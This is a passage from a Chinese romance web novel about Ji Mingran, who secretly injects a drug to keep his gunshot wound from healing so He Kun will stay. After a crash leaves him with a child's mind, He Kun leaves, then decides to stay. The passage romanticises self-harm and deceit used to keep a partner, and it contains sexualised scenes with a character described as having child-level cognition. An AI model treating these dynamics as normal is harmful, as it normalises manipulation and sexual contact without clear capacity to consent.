头顶传来宠溺的轻笑,贺琨还在仔细地检查伤口,过了那么几秒才反应过来,他发现自己又被纪明冉给骗了。 贺琨这下气得脸都红了,他一拳锤在纪明冉的肩头,“怎么昨晚没给你疼死。” 纪明冉被骂舒服了,比起冷冰冰的样子,贺琨这样多可爱,毕竟不在意怎么会生气,生气好。 “阿琨,真疼,你再给看看。”这次真的扯到伤口了,纪明冉去牵贺琨的尾指。 “滚。” 贺琨转身走进病房的浴室。 门锁闭合,又响起两道从内反锁的声音,纪明冉似有若无地弯起嘴角,直到浴室内响起水流声,他才恢复冷漠的神情拿起手机。 20分钟后,浴室的门被推来,纪明冉简单江交待了两句便挂断电话,抬眸看去,结果却看见贺琨穿着一条低腰的牛仔裤出来了。 没了腰带,那牛仔裤随意挂在髋骨上,险险地维持着最后的体面,清晰勾勒出腰腹两侧锋利的人鱼线。 贺琨站在阳光下,未擦干的水珠闪耀着滚落,最终没于松垮的裤腰边缘洇开深色的湿痕。 肤色比之前更加偏近小麦色,只是腰侧多了道颜色稍浅的旧疤,却带上了脆弱又野性的矛盾美感。 纪明冉喉结危险滚动,原本的温和逐渐被侵略取代,贪婪的视线几乎黏在贺琨身上,一寸一寸地上移,最终在挺立的两点停留,看似随意地叠起双手放在小腹前,实则压了压。 贺琨完全未察觉自己造成的影响,衣服上的血迹被水蒸汽晕湿了,本来还想着将就一会,结果洗完澡发现彻底没法将就了。 他穿好裤子就出来了,丝毫没觉得别扭,在店里天气热的时候都穿着宽松的坎肩干活,有时洗车直接光着膀子也是常事,没人会在意。 贺琨走到床头柜前拿起瓶水,仰头喝水时,顺便抬手随意地拨弄了一下额前的碎发,水珠随着他的动作飞溅开来,有几滴竟精准地落在了纪明冉唇边。 “看什么?想喝水?” 贺琨刚放下水瓶,抬眸就撞上纪明冉不善的眼神,语气顿时就带上不耐,眉头微蹙着,搭上那长相,简直拽到不行。 纪明冉没有回答,依旧注视着贺琨,只是下唇边的水迹不知何时消失了。 贺琨下意识地侧了侧身,想避开那过于灼热的视线,结果这个动作反而更清晰地展现出那道紧窄的腰线和臀线弧度。 看着纪明冉越开越古怪的眼神,他似乎终于意识到什么不对劲,几乎是立刻转身,将床尾的外套穿上。 “阿琨。”纪明冉的声音终于响起,低沉而沙哑,带着浓稠的欲望,“过来。” 贺琨还在感慨自己的大意,听见纪明冉命令的口吻,差点下意识听从了,还好理智归巢,及时停住脚步。 他转头看向男人,却发现纪明冉的被子底下有一块鼓鼓囊囊的,贺琨直接两眼一黑,是男人都懂。 直觉告诉他此时解释,只会越描越黑越,贺琨装作很忙的样子,走到茶几边拿起了两个橙子,又放回两个橙子,“你问问肃山回来了没?” “应该还要一个半小时才到得了。” 纪明冉接下来的举动才是惊世骇俗,他撩开被子,因为病人的服饰偏薄软,几乎可以算作直白地展示着身体变化,“阿琨,难受,是你先不穿好衣服,你要对我负责。” 贺琨猛吸一口凉气,合理怀疑从昨晚开始,纪明冉就在搞服从性测试。 行啊,不就是比谁不要脸。 他勾起轻扬的笑,在纪明冉灼热的视线里,一步一步地走到了病床前。 趁着受伤的人不能有大动作,他歪头笑容加深,随即一巴掌拍在男人的侧臀。 “好啊,你先洗干净了,我随时可以对你‘负责’。” 纪明冉眼神掠过错愕,垂下头沉沉地笑了,笑得贺琨毛骨悚然。 只见男人喉结剧烈地滚动了一下,随后猛地抬手,动作几乎快成道虚影,直接将贺琨拽到了眼前,动作带着一种破釜沉舟的凶狠。 纪明冉忍着腰腹的痛意,带着压迫感缓慢坐直了身体,目光如同实质般牢牢锁住贺琨。 贺琨完全愣住了,嘴唇微微张开,却发不出任何声音。 病房里只剩下两人沉重而压抑的呼吸声,空气忽然变得粘稠,纪明冉的拇指狠狠碾过贺琨的唇,带着浓浓的亵玩之意。 他感受着男人的视线变得暧昧而迷离,先是落到他的唇边描绘,又缓慢上移对视。 贺琨心脏猛然漏跳半拍,爱意涌起的同时,不知从何冒出的寒凉直冲贺琨脑门,像身体机制开启了自我保护,他推开纪明冉,冷汗早已爬满背脊。 “你先冷静冷静,我去买点吃的。”贺琨站起来,头也不回地往外走。 纪明冉这次没有开口挽留,因为他看见了,看见贺琨的迷情,也看见了那双眼中深深的恐惧与厌恶。 他的心又酸又疼,最后无力地闭眼,如脱力般倒在床上,腹部的伤口不知何时外渗鲜血,再次染红了白色绷带。 70-80 第71章 第七十一章心机设计贺琨执行力很强…… 贺琨执行力很强,与卢卡叔告别后,他很快搬进了市区的一片安保级别较高的别墅区,至于为什么没有返回国内,原因就在眼前。 “阿琨,你做的饭真好吃。” 贺琨翻阅着肃山买给纪明冉打发时间的书籍,他都已经读到一半了,结果纪明冉的伤还没好。 纪明冉正在病床上用餐,贺琨随口回复道:“外面买的。” 结果对方从善如流地说:“那是你挑选的好。” “吃完了就把食盒给我,我下午还有事。”贺琨不接招。 纪明冉咀嚼的速度变慢了,“谢谢你这段时间照顾我,肃山肃江忙着处理纪清嵩的事,短时间内实在找不到能信任的人。” 贺琨右手翻页,视线再次移动到书面上方,丝毫不受干扰。 “没想到纪清嵩这几年暗中发展得竟如此迅猛,势力范围远超我的想象。”纪明冉睁着眼睛就开始编瞎话,真假参半,难以分辨。 “他表面上运营这个斗场,实则还参与了很多非法医疗器械及药物的贩卖,加之私养了很多从恶劣的条件下厮杀出来的斗士,实在是难缠。” 贺琨捧着书脊的指尖有些泛白,他晃了晃神,“我不想知道这些,纪家怎么内斗,我也不想再参与。” “不,我不是那个意思,我只是”谈判桌上谈笑风生的人到了此时,也不知为何变得畏缩不语。 贺琨将书本合上,放回原处,“我知道你不是那个意思,无关纪清嵩,你只是想拖延时间。” 纪明冉沉默,这时一位护士敲了敲门,端着医疗用品走了进来。 “纪先生,到了换药的时间了。”她朝着贺琨与纪明冉礼貌致笑。 贺琨点点头,护士走到纪明冉身前开始拆解纱布,他特意没走,想看看纪明冉的伤势到底如何,按常理来说应该已经愈合得差不多了,为何纪明冉依旧如此虚弱。 纱布揭开,伤口处依旧凝着暗褐的血痂,边缘皮肉泛着青黑,甚至因为换药的动作,引得鲜血开始往纱布外渗。 贺琨拧紧眉头,直到护士离开。 “你的伤口恢复速度不对劲,我建议全面检查,不会是纪清嵩的子弹有问题吧?”毕竟此人现在做的就是这些缺德生意。 纪明冉对此似乎也比较担忧,他抬眸看了看贺琨不安的神情道:“嗯好,我会安排,你别担心。” 两人再次沉默,贺琨像往常一样,收拾完餐具便离开了。 纪明冉拿起贺琨刚才看的那本书,放在鼻尖嗅了嗅。 饭菜的味道很熟悉,其实算不上好吃,但纪明冉就是觉得好,只是因为那时贺琨做的,不承认他也能知道。 纪明冉心情好点,拉开床头柜,抽屉内放着几管淡蓝色的注射剂,他将其取出保温的冷箱,眼睛都没有眨,便往伤口附近注射。 不一会,豆大的冷汗从额角冒出,他捂住嘴咳了咳,手脚都在不受控制的微颤,似乎冷到了极致,这种药物可以有效阻止伤口愈合,副作用还算相对较轻。 违反自然规律的事情,总是会付出代价,纪明冉没有其它办法了。他实在不愿意走向极端,而是想得到完完整整的贺琨。 “纪先生!”肃山刚踏进病房便看见纪明冉脸色苍白,冷汗淋漓,他视线往抽屉一看,只剩下两只了,“纪先生这这毕竟不是长久之计。” 肃山赶忙从桌上倒了杯热水,却被纪明冉凌厉的眼神吓得愣住,低头直道:“是我失言了,抱歉。” — 三日后,贺琨按照习惯再次来到医院,纪明冉正在开视频会议,脸上有些病态的白,但丝毫没有影响到他雷厉风行的做派。 似乎纪明冉想要的,就注定会得到。世人追逐的财富、名誉、权势,早已是这个年轻男人的囊中之物。单从这方面看,贺琨对纪明冉是欣赏的,是做为同性的认可。 会议结束,纪明冉察觉到了贺琨的视线,敏锐地捕捉到后,回以了一个好看的笑容,是与刚才截然不同的柔情。 贺琨视线闪躲,“我昨晚联系了晓源,问了他关于伤口愈合的事。” “是吗?他怎么说?”纪明冉依旧笑着,却有些危险。 “晓源说,可能是有持续存在的感染,也有可能是其他基础病,原因还是比较多,你给自己安排检查了吗?” 贺琨将食盒放到可移动的餐桌上,今天的菜色更显素净了,但是营养是充足的。 “安排了,明天上午应该就可以得到具体结果。” 纪明冉拿出筷子,继续道:“等我伤好之后,你打算去哪里?” 贺琨抽出前几日看的书,“回家。” 纪明冉没有意外,反而主动道:“阿琨你放心回去,当年的误会已经解决了,你的老师和学长见到你肯定会很开心。” “谢谢。” 半小时后,贺琨再次离开,纪明冉长长地呼了一口气,如同无力的叹息。剩下的时间不多了,可是除了中枪的那一晚,其余时间贺琨将自己完全封闭了,任由纪明冉如何都无可突破。 他拿出倒数第二支药剂,熟练地往伤口处扎*。 “纪明冉!你疯了!”原本已经离开的人,此时竟站在病房门口。 看见纪明冉错愕的眼神,贺琨笑了,带着几分讥讽,他将纪明冉神色掠过的慌张,以及手中那支还没来得及推进去的药剂尽收眼底。 “这就是你的爱?纪明冉你什么时候才做得到不欺骗。” 声音不高,每一个字都精准地扎进纪明冉的心脏,他的手猛地一颤,药剂差点滑落。 “不是……”纪明冉的声音干涩,言语苍白无力,只剩下谎言暴露后的难堪。 贺琨一步步走进病房,停在病床边,目光从纪明冉惨白的脸上,移到那依旧狰狞渗血的伤口上,那夜余下的动容消失殆尽。 贺琨嘴角的讥讽更深,眼底却是一片冷寂,“用谎言和欺骗博取同情?纪明冉你告诉我这算什么?” 他伸出手,不是去触碰纪明冉,而是精准地一把夺过那支注射器。 “我…”纪明冉张了张嘴,他想解释“我只是”不想你走,害怕再也见不到你。 在贺琨冰冷的审视下,纪明冉无法再说出任何一句。 贺琨松手,那支注射器砸到地上碎裂,昂贵的液体顿时飞溅,他没有搭理纪明冉,而是转身离开。 纪明冉像是被逼到绝境,只知道贺琨不能离开。 “我就是要你多留一天,多看我一眼,我放低姿态,示弱讨好,我有什么错!我甚至不敢用强硬的手段留住你,就怕你恨,怕你不开心,可你像现在这样,看我的眼神像看什么恶心的怪物,那这些都算什么。” 他剧烈地喘息着,“当年的事是我不对,我认,我后悔得恨不得杀了自己。可这些年我每一天都在找你,现在好不容易找到了,你就不能…阿琨,我发誓再也不会骗你,你就不能给我一个机会吗?一个弥补的机会?” 贺琨忍了忍,最后只看着纪明冉问道:“那你要我用什么相信你?” 纪明冉没回答上来,贺琨无奈笑笑,耸了耸肩。 后来直到他出院,贺琨都没有再出现过。 那天,纪明冉独自驾车去了沙滩,坐了一夜,直到朝阳高挂,浪潮起起伏伏,谁也不知道他在想什么。 就在返程的那个早晨,刚出院的人又进院了,腰腹的枪伤刚好,结果被场连环车祸牵连,直接撞到了脑子。 巧合到肃山肃江合理怀疑是纪清嵩出手搞事,但是他们左查右查都没找到证据。 肃山原本还挺庆幸的,想这下不用装病了,作为一位成熟的秘书,他已经准备好拨打小贺先生的电话,可当看见失忆的纪明冉时,肃山直接懵了。 “所以,您是说,纪先生他现在只有孩童的认知?” 肃山看着一米九个的纪先生安静地坐在床上,眼神暗含青涩的凶戾,人却不哭也不闹,乖得让人发毛。 医生推了推镜片,折射出一道冷光,“是的,至于恢复时间不好确定。” 肃山彻底宕机了,这是他职业生涯中,最危机的时刻。 — 贺琨没想到自己有生之年,也会近乡情却,于是把回国的日子一拖再拖,直到这两天,他总觉得有人在跟踪自己,索性直接敲定了明日回国,避免被卷入麻烦。 午后刚收拾完行李,贺琨准备顺着前院后院最后检查一遍,毕竟今晚就要办理退租手续。 可刚跨出院子,被监视的感觉变得更加浓烈,他警惕地环视周围,只有微风轻轻吹拂过,贺琨收回视线随意地耸耸肩,这片别墅区就是因为极为出色的安保工作知名的,应该没事吧? 与此同时,另一边肃山找人快找疯了,往常纪先生也会不知不觉地溜走,可是这次已经消失两天了。 现在正在彻底清剿纪清嵩的各种线路,被逼急的纪清嵩也不安分,肃山急得如同热锅上的蚂蚁。 忽地,他灵光一转,连忙拿出手机拨打小贺先生的电话。 而此时,贺琨发现后院花丛中似乎有个模糊的身影,躲在半人高的植物丛中。 他举着枪支小心翼翼地接近,结果电话却突然开始震动。 贺琨吓得手一抖,连忙稳定心神,对准那人影喊道:“出来!” 第72章 第七十二章生宝宝吗贺琨看着安安分…… 贺琨看着安安分分坐在客厅里的人,客厅里的人也认认真真地看着贺琨。 四目相对中,贺琨狠闭双眼,伴随着深长的呼吸再次缓缓睁开,问道:“新把戏?” 沙发上的男人眼神懵懂无知,歪了歪头似乎再尝试理解贺琨的话,最后他按照自己的想法,指着贺琨道:“喜欢。” 贺琨抱着手臂看着这位不速之客,这是第37遍,而且每次回答都是这两个字。 “我明天有事,没空陪你闹,肃山待会来接你。” 沙发上的男人皱了皱眉,“不要。” “不要?”贺琨笑得咬牙切齿。 纪明冉没有说话,但察觉了贺琨的怒气,他直接站起来脱了卫衣,眼看就要开始解裤腰带。 贺琨瞪大了眼睛,看了看清晰透亮的落地窗,赶忙上前拽紧纪明冉的裤腰带,“疯了,你是真疯了。” 贺琨紧张了,纪明冉反而眼睛亮了,一肚子坏水的模样,看得他气得不打一出来,只想给纪明冉踹出去。 可不等反应,身前的人就立马往楼上跑,拉都拉不住。等到贺琨追进主卧的时候,差点没被地上突然多出来的裤子绊到。他压了压狂跳的眉心,看着被子里已经躺好的人,只露出好看的眉眼,直勾勾地看着自己。 “天黑了,要睡觉,老婆也睡。” 贺琨报复道:“你才几岁,毛都没长齐,你知道什么是老婆吗?” 肃山刚才在电话中告诉贺琨,纪明冉现在的心理年龄等同于孩童。 纪明冉果然没听懂,而是摸摸自己头发,又看看贺琨的头发,“老婆黑色的,我也黑色,好看。” “贺琨,”事已至此,贺琨看着纪明冉迷惑的眼神,指了指自己,“叫我,贺琨。” “贺琨老婆。” 纪明冉成功将贺琨整笑了,反正这房子他以后也不住了,于是随意道:“行行行,好,随你,你是爷,我走行吧。” 贺琨成功说服了自己,结果刚转身就突然陷入黑暗。被子从天而降,如同柔软可恶的怪兽将贺琨整个吞进了肚子里。 世界安静下来,只剩下一个温暖的怀抱、两道交错的呼吸。 贺琨解不开腰间的手,突然被强硬地反转过身子,正面对着傻子纪明冉。 浅金色的眸子在黑暗中已经难以分辨颜色,只是亮亮的,很单纯。 贺琨无论将手落在哪里,碰到的都是纪明冉的身体,明明这人的体温偏凉,却总是让人觉得灼手。 “不要。” 贺琨没听懂什么不要,于是直接道:“不要就松手,我还有事。” “不走。” 纪明冉死不撒手,他不喜欢背影,总感觉贺琨要离开到看不见。 那种悲恐不知道怎么形容,总之他和贺琨要一起睡觉,故事书里都是这么写的。 “等等!呃——” 脚底踩空,失重感瞬间袭来,贺琨下意识抓住什么,最后却只能扶住纪明冉的肩膀,被子里黑漆漆,他拍着纪明冉的肩头,“喂你,你看路啊!” 还好一路没有被角绊倒,被稳妥地抛上了软床,贺琨手忙角落地拨开被子,还没来得及庆幸,纪明冉却突然翻身而上,压住了他。 贺琨眼睛都瞪大了,肃山说了什么,肃山说的是什么混账话,这是孩童能做出来的事?? “下去!否则我就对你不客气了!”贺琨说完喉结微微滚动,稍有紧张。 纪明冉虽然现在疯疯癫癫、痴痴傻傻的,可不做表情的时候,早已习惯压着眉眼,有些吓人。 “生宝宝,我和阿琨。” “?”贺琨怀疑是自己听错了,下意识地发问:“啊?” “老婆生宝宝。”纪明冉想书上都是这么说的,应该就没错。 “?” 贺琨侧过头躲开纪明冉要吃人的视线,却露出了红红的耳廓。荒诞的话语从过于正式的口吻中吐出,听得他头皮发麻。 纪明冉来硬的,来软的他都不怕,可是怎么来混的? 男人迟迟没有下一步动作,直到空气都有些凝固了,尴尬的只有贺琨。 他突然想到,也许不是因为不想做,而是因为变傻的纪明冉不会。 猜测冒上心头时,贺琨不知道是该哭还是该笑,他试探道:“纪明冉,你压得我喘不上气了。” 果然,纪明冉先生歪头理解,两秒过后,直接捞起贺琨,将两人的位置一换,让贺琨坐到了自己身上。 “阿琨压着我就好,我不累的,好喘气。”纪明冉还呼呼喘了两口气,生怕贺琨不信似的。 贺琨更凌乱了,还想笑,但很快他就笑不出来了,因为纪明冉没穿裤子。 灼热的温度传来,他立马抬起屁股,准备跪直身体,结果还没找到重心,又被压了回去。 两只手掌如铁般嵌在贺琨腰间,本能地蹭了起来。 果然有的东西不用教也会,贺琨忍无可忍,拔出腿侧的枪,对准纪明冉的眉心:“不准闹了!” 纪明冉不动了,讨好地用额头蹭蹭冰冷的枪口,委屈道:“阿琨。” 贺琨心一抖,连着手也抖。 “叮咚——”门铃响了,宛如天籁。 贺琨带上了命令的口吻,嘱咐道:“要么穿好衣服,要么睡觉!我下去看看,不许不听话。” 来人正是肃山,也还好是肃山,贺琨明显松了一口气,在对方疑惑的眼神中,抬眸看了看二楼主卧的方向,“你快带回去。” 肃山难得露出苦恼至极的神情,心里还是想着为纪先生争取一下。 “哎,纪先生前端时间车祸进院醒来后就这样了,不记得任何人,也不和任何人说话,直到某天看见您的照片,才开口说出了第一句话,这么多人,他只记得贺先生您。” 贺琨没有什么反应,只是端起杯子喝了点水。 “其实,这次已经不纪先生第一次跑出来了找您,尽管每次我们都第一时间展开搜寻,可是纪先生总能聪明地躲过。” “我们也很抱歉纪先生目前的行为给您造成的困扰。”肃山垂首,诚意十足。 “医生那边有没有说过,这种情况什么时候会好?” 肃山摇摇头,表情比较凝重,“医生没有给出明确的答案。” 贺琨又问:“纪清嵩呢?” 肃山先是微微一愣,随后快速回道:“比较棘手,加之纪先生现在不配合的状态,风险隐患还是” 贺琨明白肃山的未尽之语,还有6个小时他的航班就要起飞了,等他回国以后,纪明冉应该就不会乱跑了吧。 楼上的人似乎睡着了,没有任何动静,贺琨往楼梯口看了看,才继续说道:“天亮后,我就要回国了。” 肃山没有想到会是这样的回答,他默了默,点头道:“好的,贺先生,我明白了。” 想着纪明冉已经睡着了,不好移动,肃山他们便在各个出口轮流看守。 贺琨则是回到二楼的次卧休息,因为闹了一整天,刚沾上枕头,人就睡着了。 翌日,闹铃响起之前,贺琨就被热醒了,腰间横着手臂,自己则是被身后人完全纳入怀中。 “阿琨?” 熟悉的嗓音响起,贺琨吓得反手就把闹钟关闭,聒噪的声音终于暂停,他冒了一身冷汗,也彻底清醒了。 纪明冉什么时候来的?自己竟然丝毫没有察觉,但现在更重要的是要怎么离开,贺琨暗忖几秒后,说道:“好热啊,纪明冉,你过去一点。” 原本沙哑的声音经过刻意的口吻变得黏糊糊的,贺琨佯装不适地动了动,果然是有反应的。 纪明冉也不再说话了,只是搭在贺琨腰间的手臂,开始变得微微僵硬。 预料之中的结果,他揉了揉眼睛,假装依旧很困的样子,翻过身子推了推那人的胸膛。 纪明冉顺势握住贺琨的手腕,他原本低着头观察自己,试图理解,还没搞清楚,就被转过身的贺琨摸了摸。 看着贺琨脸颊被热气氤氲得微红,闭着眼喃喃而语,却不知睡衣已经在动作中卷到了小腹上方,殷红半露。 纪明冉喉咙干干的,更难受了。 比听觉先来的是触觉,贺琨闭着眼睛等纪明冉说话,结果被舔了舔,因为又湿又粘腻,他瞬间睁开眼睛。 映入眼帘的却是纪明冉泛红的眼眶,不是那种充满侵略性的红,而是悲伤迷茫的泛红。 贺琨还以为自己暴露了,哗地推开纪明冉,结果惹得男人更悲伤了。 “阿琨,我只是生病了,你不要讨厌我。”傻子憋得慌,以为自己命不久矣,再也见不到老婆了。 纪明冉的样子实在蠢得可爱,既然还要因为这种事情掉眼泪,贺琨带上了玩味的嫌恶,眼神轻瞥,“我不讨厌你,可是它好丑啊。” 可只是一道眼神,那东西抖了抖,还更昂扬狰狞了。 “不丑的啊,不丑”纪明冉心虚又兴奋,眼神漂移不停,表情却更丧了。 世事无常,谁又能想到今日纪明冉会变成这样,只可惜没多余的时间,不然贺琨还想继续打趣挖苦一番解解郁闷。 “和你开玩笑呢,这是正常的,每个男生都会出现这样的情况,知道吗?” 纪明冉先是摇摇头,看见贺琨的眼神后又点点头。 “蹭蹭有没有好一点?” 纪明冉想到刚才,眼神又飘到贺琨身上去了,他点点头,有问必答:“嗯嗯,有……” “所以,你要去浴室解决好才能出来,不然就会生重病的,”贺琨瞅着现在什么都不懂的纪明冉可劲地骗,“而且啊,中途不要给别人看见,还要把门锁好。” “那阿琨呢?” 贺琨跳过话题,只挑了段简单的视频给纪明冉学习,“就像这样,这种事情只能一个人做。” 纪明冉把怀疑全写在脸上,直言不讳道:“可是,阿琨摸更舒服。” 第73章 第七十三章不再回避纪明冉很会为自…… 纪明冉很会为自己谋福利,拽着贺琨的手就往自己身上放,表情那是坦坦荡荡。 贺琨身体微微僵硬,欲言又止,最后涨红了脸,甩脱纪明冉,指着浴室的方向,“自己去解决。” 傻子依旧不肯动,贺琨扶额道:“我今天有事,你先去弄好,下次我教你更好玩的。” 纪明冉眼神中升起期待,他兀自拉起贺琨的尾指,认真地摆出拉钩的姿势,“那阿琨在外面等我。” 贺琨笑意未及眼底,只是点头答应,没有说话。 纪明冉依依不舍地走进浴室,歪在门缝里最后看了眼贺琨,才合上浴室的门。 门刚关闭,贺琨没有犹豫,快速换好衣服离开房间,以极快的速度下楼。 肃山坐在吧台边,正在处理工作。 “你家先生在楼上,我要走了。” 肃山站起身,“好的,昨夜叨扰贺先生了,祝您一切顺利。” 贺琨笑着点头,提着简单的行李转身离开。 机场内,广播时不时响起,乘客们拿着行李来往,前往各自的目的地。 贺琨还记得被宋榄送离国内那天,阴沉的天空大雪纷飞,今天却是个格外好的天气,顺利到有些不真实。 “先生您好,请随我来。”甜美的嗓音从身旁传来。 贺琨拿起自己的证件,一位匆匆而过的陌生男人擦肩而过,力道很重,手中的东西也落了一地。 他没有追究,也没有急着去捡东西,而是看着那道背影,心道古怪,可具体又说不上什么。 贺琨无奈笑笑,可能自己真是太紧张了,那么多人看着那傻子,里三层外三层的,绝不可能出现意外。 “先生?先生?” 空姐已经将掉落在地的物品捡起来归总,递到了自身前,贺琨接过,“谢谢。” 两人继续往前走,不一会迎面走来位男子,目光始终落在贺琨身上,擦肩时,扭头的角度几乎与肩膀平对齐。 贺琨隐晦地压低眉心,没有明显地表示出不愉,可周遭的气压已经渐冷,他不想生事,希望能快些登机。 进入专属的候机厅后,人少了很多,古怪的感觉也减轻了很多。 他找到靠近角落的位置坐下,能将整个空间的分布都纳入眼底,还有半小时。 就在这时,候机厅内背对着贺琨的男人站了起来,缓慢地走来,贺琨原本还不确定是不是冲着自己来的。 直到那男人路过了门却没有出去,贺琨的心猛地沉寂下来。 “又见面了。” 贺琨看着男人将帽子取下,果然是老熟人,纪清嵩。 “我记得你以前没有那么烦人,纪清嵩。” 对方不恼,反而带上笑意,“那恐怕要让你失望了,我是来帮你的。” 贺琨嗤笑,黄鼠狼给鸡拜年呢,“再说一次,你和纪明冉那点烂事,我根本不想参与。” “你猜,纪明冉现在在哪里。” 贺琨冷声道:“他在哪里,与我无关。” 纪清嵩没有错过贺琨面上的任何微表情,“看来,你是真恨极了他啊。” “不然呢,对于将你全部人生都毁了的人,不恨才是难事,”贺琨眸光微垂,再抬眼时所有的情绪都消失了,“所以,如果你要说的都是这些废话,请不要浪费我的时间。” 纪清嵩听完终于笑了,他拿出手机给贺琨看了一段视频,监控视角,对象是纪明冉。 此人竟然就在这个机场内,看模样是在找人,至于是在找谁,答案不言而喻。 贺琨搭在膝盖上的手指,微微向上抬动,在纪清嵩的目光下往后一靠,态度随意而坦然,“那又怎样?” 纪清嵩惋惜道:“想当年的贺少多么自由风光,如今偷偷摸摸地活了六年,难道还要为这样的人赔上一辈子?” “只要你我合作,解决了纪明冉,你便再也不用躲躲藏藏,天高海阔,永远自由。” 贺琨眸光跃动,如有幽火,他环视周围,除了纪清嵩空无一人,似乎只要点头说好,就再也不会受到纪明冉的侵扰。 “你就忘了纪明冉的欺骗?他对你的伤害难道还少吗?” 纪清嵩观察着贺琨的每个表情,继续说着那些往事,贺琨曾经有多喜欢纪明冉,就会有多恨,而他只需要不断地提起,再提起。 果然,此话说完,贺琨眼神一凌,转头与他对视。 纪清嵩看见那道眼神中的决绝,满意地笑了,“如果想好了,欢迎随时来找我。” “你要谋杀他?登机时间还有15分钟,恐怕要让你失望了。”贺琨看着那抹离去的背影。 纪清嵩闻言笑笑,回头道:“谋杀?呵。不过你今天走不了的,纪明冉绝对不会就此放你离开。” “不可能。” 纪清嵩同情道:“他带着肃山,至少还有4位随行保镖,出于好心,我建议你先服软。” 纪清嵩说完便走了,似乎是不想在此时与纪明冉正面相遇。 贺琨收回所有情绪,纪清嵩目的明显,只可惜还不够了解他。 那道背影逐渐远去,贺琨若有所思,看来这人还不知道纪明冉已经傻了,也不知道肃山更有可能是来抓纪明冉的。 机场内有很多纪清嵩的视线,却只看到了肃山想让他们看见的。不过如果纪明冉再这样肆意走动,恐怕迟早要暴露。 贺琨的目光扫过墙上的电子时钟,深吸一口气继续等待。 然而,仅是几秒后,他的眼皮忽而一跳,候机厅门口出现熟悉的身影,就在离他几十米远的地方。 纪明冉像个迷路的孩子,头发有些凌乱,眼神焦急地在四周搜寻。 如今纪清嵩虎视眈眈,危机四伏,他反倒成痴傻的呆子。 贺琨正在犹豫是否要侧身避开时,纪明冉的目光如同被无形的线牵引,精准地捕捉到了他。 那双茫然的眼睛忽地被点亮,如同溺水者抓住了浮木,转而又变得委屈,似乎是在无声的责怪。 尽管先是贺琨说话不算数,傻子却只想抱住自己在意的人,他三步并作两步地走到贺琨面前,眼神中没有任何周围的事物,全世界唯独剩下眼前这个人。 “阿琨,是我哪里做得你不喜欢吗?”口吻小心翼翼。 贺琨张了张嘴,却无从开口,他是欺骗了这个傻子,这个整个世界里只有贺琨的傻子,贺琨看着那双自责的眼睛,突然说不出狠心的话了,“我只是回家看看。” 纪明冉摇摇头,把脸深深埋进贺琨的颈窝,滚烫的眼泪瞬间濡湿了他的衣领,“别走……别丢下我…”声音闷闷的还带着哽咽,身体因浓烈的情绪而颤抖,“我以后都听话,阿琨不走。” 贺琨闻言微愣,直接僵硬在原地,心中的酸涩泛出浸得浑身都疼。 登机的广播终于响起,人流开始走向最后检票的闸口。 他攥着登机证件的指尖因为用力而泛白,最终把那些东西踹进了口袋里,空出来的双手捧起纪明冉的脸。 贺琨以一种极为复杂的眼神注视着纪明冉,抬手抹去脸颊上的泪痕,“给你最后一次机会,从今往后不能骗我。” 纪明冉重重点头,紧紧地抱住贺琨,像只八爪鱼,再也没撒手。 5分钟前,贺琨做了一个决定,他赌如果在5分钟之内纪明冉出现了,那么他就留下;如果没有,他则永远离开。 可就是最后那秒,纪明冉出现了。 贺琨拉起纪明冉看向出口,不再犹豫,也不再回避。 —— 肃山安排的人正在往在纪先生居住的别墅中运送各种昂贵精致的用品,衣食住行无一不是精心挑选。 虽然忙碌,但是众人脸上都喜气洋洋的,因为这下纪先生不会再出跑了,提心吊胆找人的日子终于过去了。 “肃山,既然此地不安全,为什么不带着纪明冉先回国。” 贺琨坐在客厅里询问,纪明冉坐在他脚边的地毯上专注地剥橙子,桌上的果盘中已经堆满半边。 肃山看着那盘新鲜的水果,为谁准备的,那自然是不言而喻。自从贺先生住进别墅以后,现在别说出门,就算离开贺先生半步距离,纪先生都不肯的。 “之前,纪先生想带您一起回去,但是因为条件不允许,所以始终没有回国的打算。” 条件不允许其实就是贺琨与纪明冉迟迟没有和好,所以纪明冉便没有离开的计划。 “车祸之后,纪先生的情况不适合奔波,况且国内曝光的风险更高,为避免引起不必要的骚动,便决定在这里先静养些时日。” 贺琨引出话题:“那纪清嵩那边,原本是怎么打算的?” “纪姝曾经和纪先生做过交易,保住了纪清嵩,但是现在看来,纪清嵩却不安于此,如果迫不得已的情况下,也只能出手了。” 肃山想的没错,恐怕纪清嵩从开始的打算就是彻底杀了纪明冉,继正面刺杀失败后,而今看起来像是在筹备更大的阴谋。 第74章 第七十四章反攻失败(二更)肃山走…… 肃山走后,贺琨还在思考纪清嵩到底在背后搞什么鬼,这人知道自己没有正面取胜的希望,不知道憋着什么坏招呢。 空气中忽地传来香橙酸甜的味道,柔软的果肉已经被送到了嘴边,纪明冉眼巴巴地瞅着,“阿琨,好吃吗?” 贺琨觉得只要他现在点点头,纪明冉就能开心一整天,“还行,谢谢你。” 纪明冉没有露出想象中的傻笑,而是拧住眉头,“阿琨,你不开心吗?” “为什么这么问?没有啊。” 纪明冉抬起脑袋模仿者贺琨刚才的神情,“阿琨就像这样。” 说完他站起来,弯腰将吻落在了贺琨的眼尾,动作又笨拙又轻柔,“眼睛里不开心。” 舌尖还残留着橙子的香气,贺琨从来没有指望傻了的纪明冉能做什么,可这样的纪明冉却最赤诚真实,轻易消弭了他所有戒备。 晚上,贺琨刚洗完澡出来,他的被子里又鼓起一团,贺琨苦笑不得。 别墅的主卧名存实亡,因为它的主人每晚都悄悄的去到了另外一间卧室。 前几次纪明冉好歹是在贺琨睡下后来的,表现得也很安分,他索性装作没发现。 可是这几日,怎么“猖獗”起来了,出现的时间越来越早,该说不说傻得还挺精明。 贺琨用毛巾擦了擦头发,走到床边,提起被角一扯,将掩耳盗铃之人暴露在灯光下。 “你在我的房间干什么?” 纪明冉想不通自己的计划为什么失败了,他只是想早点守着阿琨睡觉的,结果被发现了,现在肉眼可见的慌乱。 “阿琨,我,我害怕。” “害怕?”贺琨挑起眉头。 “阿琨走了,梦里下好大的雪,阿琨不见了。”纪明冉急急忙忙地解释。 贺琨听见关键的词语,坐到傻子身边耐心引导,“除了下雪,还有呢?别的有没有?” 纪明冉听话地开始回忆,头却越来越疼,他用力地敲了敲,想告诉阿琨所有,阿琨想知道的。 贺琨立马拉住他的手腕,控制住纪明冉的动作,“头疼?头疼我们就不想了,没事的,没事。” “我不怕疼,我要想起来” 纪明冉的记忆和心智正在逐渐恢复,贺琨摸摸他额头的冷汗,“那今天先休息,明天再想。” 注意力被转移,纪明冉眼睛亮亮的,“那可以在阿琨旁边休息吗?” 贺琨脸上的担忧瞬间收回,“?” 纪明冉人傻力气大,把贺琨捞进了怀里,“凉凉的,香香的。” 